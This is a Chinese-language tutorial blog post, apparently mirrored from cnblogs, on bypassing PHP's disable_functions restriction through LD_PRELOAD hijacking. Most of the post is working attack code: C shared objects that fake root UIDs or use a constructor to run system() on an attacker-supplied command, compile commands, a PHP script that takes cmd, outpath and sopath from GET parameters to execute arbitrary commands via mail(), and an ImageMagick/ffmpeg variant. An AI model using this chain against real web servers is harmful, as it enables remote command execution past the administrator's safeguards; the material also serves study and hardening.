zoukankan      html  css  js  c++  java
  • Bypass disabled_functions

    LD_PRELOAD的理解

    LD_PRELOAD是Linux系统下的环境变量:它可以影响程序运行时的链接,它允许你定义在程序运行前优先加载的动态链接库。简单的说,可以注入自己的代码,覆盖原有代码。也就是说如果程序在运行过程中调用了某个标准的动态链接库的函数,那么我们就有机会通过LD_PRELOAD来设置它优先加载我们编写的程序,实现劫持。

    实例

    id.c

    #include <dlfcn.h>
    #include <unistd.h>
    #include <sys/types.h>
    
    uid_t geteuid( void ) { return 0; }
    uid_t getuid( void ) { return 0; }
    uid_t getgid( void ) { return 0; }
    


    再将它加入动态链接库中

    可以发现uidgid都变为了0,权限也变为了root

    我们可以用ldd查询一下依赖关系,发现id.so在其它动态链接库之前提前被加载了,也就是说我们的恶意代码中的函数覆盖了原本的动态链接库的函数。

    劫持getuid()

    这个前提是在Linux中已经安装并且启用了sendmail程序。

    putenv(string $setting):bool:添加setting到环境变量。环境变量仅存活于当前请求期间。在请求结束时环境会恢复到初始状态。

    我们这里写一个demo

    <?php
        mail('a','b','c','d');
    ?>
    

    调用过程分析

    查看mail()运行的新进程,第一个execve是启动PHP解释器而已,除此之外必须找到第二个execve,没有则说明并未启动新进程;这里第二个和第三个都是直接或间接调用系统sendmail程序。还有就是,通过/bin/sh方式调用sendmailexecve,我们在看/bin/sh程序调用哪些API时发现其实它也是调用了getuid(),所以即使未安装或开启sendmail程序,我们任然可以通过mail()函数来出发调用了/bin/sh程序的execve,从而调用getuid()达到执行劫持函数的目的。

    先调用如下命令查看sendmail程序可能调用的系统API明细:

    但是由于程序运行时会根据命令行选项、运行环境做出不同反应,导致真正运行时调用的API可能只是readelf查看的子集,通过如下命令跟踪查看sendmail程序的实际API调用情况:

    可以看到sendmail程序确实调用了getuid()函数。接着再查看函数原型:

    攻击利用

    先新建一个文件test.txt,再写一个hack.c

    #include<stdio.h>
    #include<string.h>
    int strcmp(const char *s1,const char *s2){
            printf("hack function invoked.s1=<%s> s2=<%s>/n",s1,s2);
            return 0;
    }
    
    

    当这个共享库中的getuid()被调用时,尝试加载payload()函数,执行命令。

    $ gcc -c -fPIC hack.c -o hack 
    
    $ gcc -shared hack -o hack.so
    

    再将hack.so上传至共享链接库。再写一个mail.php进行测试。

    如果mail()函数被禁了的话,也可以使用error_log()函数,因为在调用error_log的过程中,也会调用sendmail

    函数寻找

    如果mail()被限制,我们得找到一个能再运行时候启动子进程得函数,因为我们设置了环境变量,必须restart才能生效,所以如果能启动一个子进程,那么我们设置得LD_PRELOAD就会加载我们的so文件。

    劫持启动进程

    系统通过LD_PRELOAD预先加载共享对象,如果能找到一个方式,在加载的时候就能执行代码,而不用考虑劫持某一系统函数,那我就完全可以不依赖sendmail了(或其它函数),这就相当于C++的构造函数类似。

    GCC有个c语言拓展修饰符__attribute__((constructor)),可以让由它修饰的函数在main()之前执行,若它出现在共享对象中,那么一旦共享对象被系统加载,将立即执行__attribute__((constructor))修饰的函数。另外,我们通过LD_PRELOAD劫持了启动进程的行为,劫持后又启动了另外的新进程,若不在新进程启动前取消LD_PRELOAD,则将陷入无限循环,所以必须得删除环境变量LD_PRELOAD,最直观得做法是调用unsetenc("LD_PRELOAD")。而更加直接的删除环境变量的方式是extern char** environ

    攻击利用

    #define _GNU_SOURCE
    
    #include <stdlib.h>
    #include <stdio.h>
    #include <string.h>
    
    
    extern char** environ;
    
    __attribute__ ((__constructor__)) void preload (void)
    {
        // get command line options and arg
        const char* cmdline = getenv("EVIL_CMDLINE");
    
        // unset environment variable LD_PRELOAD.
        // unsetenv("LD_PRELOAD") no effect on some 
        // distribution (e.g., centos), I need crafty trick.
        int i;
        for (i = 0; environ[i]; ++i) {
                if (strstr(environ[i], "LD_PRELOAD")) {
                        environ[i][0] = '';
                }
        }
    
        // executive command
        system(cmdline);
    }
    

    再编译c文件为共享对象文件:

    gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc.so
    

    bypass_disablefunc.php

    <?php
        echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
        $cmd = $_GET["cmd"];
        $out_path = $_GET["outpath"];
        $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
        echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
        putenv("EVIL_CMDLINE=" . $evil_cmdline);
        $so_path = $_GET["sopath"];
        putenv("LD_PRELOAD=" . $so_path);
        mail("", "", "", "");
        echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
        unlink($out_path);
    ?>
    

    ImageMagick

    当 Imagick 处理的文件是如下后缀的时候,就会调用外部程序 ffmpeg 去处理该文件:

    wmv mov m4v m2v mp4 mpg mpeg mkv avi 3g2 3gp

    demo.php

    <?php
    $img = new Imagick('img.mp4'); //img.mp4文件必须存在,否则就会不去调用ffmpeg
    ?>
    

    我们再strace一下可以发现再执行得过程中调用了ffmpeg

    __attrobute__一起使用:

    poc.c

    #define _GNU_SOURCE
    #include <stdlib.h>
    #include <unistd.h>
    #include <sys/types.h>
    
    __attribute__ ((__constructor__)) void angel (void){
        unsetenv("LD_PRELOAD");
        system("ls > test");
    }
    

    然后生成动态链接程序

    img.php

    <?php
    putenv("LD_PRELOAD=./poc.so");
    $img = new Imagick('img.mp4');
    ?>
    

    再执行这个文件即可

  • 相关阅读:
    数字建模工具
    博客园文档保存为pdf适合手机kindle阅读
    单点登录sso规范
    office在线预览方案
    KVM 虚机怎么热添加disk
    linux-基础FTP 协议传输
    TCP 三次握手四次挥手
    autossh 实现反向代理实现通过外网访问内网环境
    keepalived的工作原理
    openstack-ovs命令记录
  • 原文地址:https://www.cnblogs.com/zesiar0/p/13339860.html
Copyright © 2011-2022 走看看